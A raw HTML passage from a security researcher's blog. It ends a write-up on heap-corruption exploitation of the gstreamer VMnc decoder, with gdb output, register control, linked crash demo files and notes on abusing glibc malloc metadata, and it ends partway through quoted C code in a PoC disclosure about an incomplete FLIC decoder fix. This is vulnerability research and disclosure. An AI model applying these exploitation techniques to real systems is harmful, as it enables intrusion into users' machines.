normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0x7fffa400bdf0: "src"</span></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We’ve pointed the instruction pointer to a heap chunk that contains a string. The crash is because my processor supports a non-execute bit :-) To proceed with an exploit, we’d need to choose a different path, but we’ve demonstrated a certain level of control beyond blindly nuking a function pointer.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Unfortunately, a reliable exploit may not be possible with this path in general. Although the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstVMncDec</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object is reliably placed at offset 0xb840 in its arena when the exploit is run under </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gdb</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, the arena layout jiggles around a little bit from run to run when run normally. The reason has not been investigated.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Demo 3: reliable crash in malloc_consolidate with $rbx == 0x41414141</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Demo file: </span><a href="https://security.appspot.com/security/vmnc/vmnc_malloc_consolidate_41414141.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">vmnc_malloc_consolidate_41414141.avi</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. In order to try and get a more reliable start to my exploit, I decided to target malloc arena metadata. This can be done very reliably because it occurs right at the beginning of an arena’s mapping. It is not subject to heap jiggle!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Thread 18 "task2" received signal SIGSEGV, Segmentation fault.</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[Switching to Thread 0x7fffb271d700 (LWP 3599)]</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0x00007fffefc13008 in malloc_consolidate () from /lib64/libc.so.6</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) i r</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rbx 0x41414141 1094795585</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) disass $rip-20,$rip+20</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Dump of assembler code from 0x7fffefc12ff4 to 0x7fffefc1301c:</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=> 0x00007fffefc13008 <malloc_consolidate>: mov 0x8(%rbx),%rax</malloc_consolidate></span></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The above effect is achieved by writing a pointer value on top of a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">malloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> bin pointer. When this bin is touched, a deterministic crash is achieved. The reliability here is strong, but I didn’t get far along with an exploit. The challenge is to find a primitive that will follow pointer chains. In order to “break out” of the arenas to something more interesting, it is necessary to follow the linked list of arena pointers until you find </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">main_area</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, inside glibc. The likely path forward to do this would be to iteratively copy the glibc </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">malloc_state->next</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer on top of something else, such as one of the bin pointers, or </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">malloc_state->top</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, and then abusing side effects from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">malloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">free()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> calls made in the decode loop. Proceeding in this manner will require evading glibc’s various internal corruption checks, but we have the ability to edit memory structures and copy pointers around, so it is well within the bounds of possibility.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Closing notes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is not the first time that highly deterministic Linux </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> behavior has been taken advantage of. In fact, just last week, Google Project Zero published a </span><a href="https://googleprojectzero.blogspot.com/2016/12/bitunmap-attacking-android-ashmem.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">wonderful exploit against Android’s shared memory handling</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Amongst other tricks, the deterministic behavior of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> placement was abused in order to get a favorable virtual memory layout. What is interesting is that this was on the 64-bit ARM architecture. Whereas an argument could be made that 32-bit address space is so limited that fragmentation is a concern preventing stronger randomization, 64-bit address spaces provide an opportunity to place mappings a little less predictably.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">On platforms with decent sized user address spaces (x86_64, 47 bits and aarch64, 39 bits), I think it’s time to randomize unhinted mapping requests. There are concerns to talk through such as fragmentation, page table memory bloat and TLB impact. However, some significant software already implements virtual address mapping randomization in user space. This includes </span><a href="https://googleprojectzero.blogspot.com/2015/07/significant-flash-exploit-mitigations_16.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Adobe Flash</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, as well as Google Chrome’s main allocator, </span><a href="https://chromium.googlesource.com/chromium/blink/+/master/Source/wtf/AddressSpaceRandomization.cpp" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">PartitionAlloc</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The concept is proven.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<span id="docs-internal-guid-61562f6c-ce2a-ba60-01c2-c3b043f1c37d"></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Accordingly, paging Kees Cook of the </span><a href="http://www.openwall.com/lists/kernel-hardening/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">kernel hardening project</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…. :-)</span></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com1tag:blogger.com,1999:blog-3024470480937744884.post-49800122137214466022016-11-24T23:54:00.000-08:002016-11-24T23:54:06.065-08:00[0day] [PoC] Incorrect fix for gstreamer FLIC decoder vulnerability CESA-2016-0004<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Recently (Nov 21st, 2016), I published an 0day exploit against the gstreamer FLIC decoder, </span><a href="https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">here on my blog</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The response time from gstreamer upstream was impressive: a patch in 1 day or so that fixed not only the immediate issue but also some similar bugs in other functions in the decoder. More on those other bugs in another post. Here is the </span><a href="https://cgit.freedesktop.org/gstreamer/gst-plugins-good/commit/?id=bf43f44fcfada5ec4a3ce60cb374340486fe9fac" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">git commit</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The response from Ubuntu, one of the distributions I use, was also fast. On Nov 22nd 2016, they published a gstreamer advisory: </span><a href="https://www.ubuntu.com/usn/usn-3135-1/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">USN-3135-1</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. At the time of writing -- Nov 24th, 2016 -- I am not being offered patches for my Fedora 24 or Fedora 25 installs, by way of contrast.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Unfortunately, the fix was not 100% correct. Presented here is an 0day PoC (PoC, not exploit!) for the remaining memory corruption issue, along with a description of the code error.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The remaining vulnerability</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bounds checks were added for all three of the failure conditions I noted in my original blog post. The new code inside </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flx_decode_delta_fli()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> looks like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> start_line = (data[0] + (data[1] << 8));</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> lines = (data[2] + (data[3] << 8));</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (start_line + lines > flxdec->hdr.height) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. too many lines.");</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return FALSE;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> data += 4;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* start position of delta */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dest += (flxdec->hdr.width * start_line);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> start_p = dest;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (lines--) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* packet count */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> packets = *data++;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (packets--) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* skip count */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> guchar skip = *data++;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dest += skip;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; 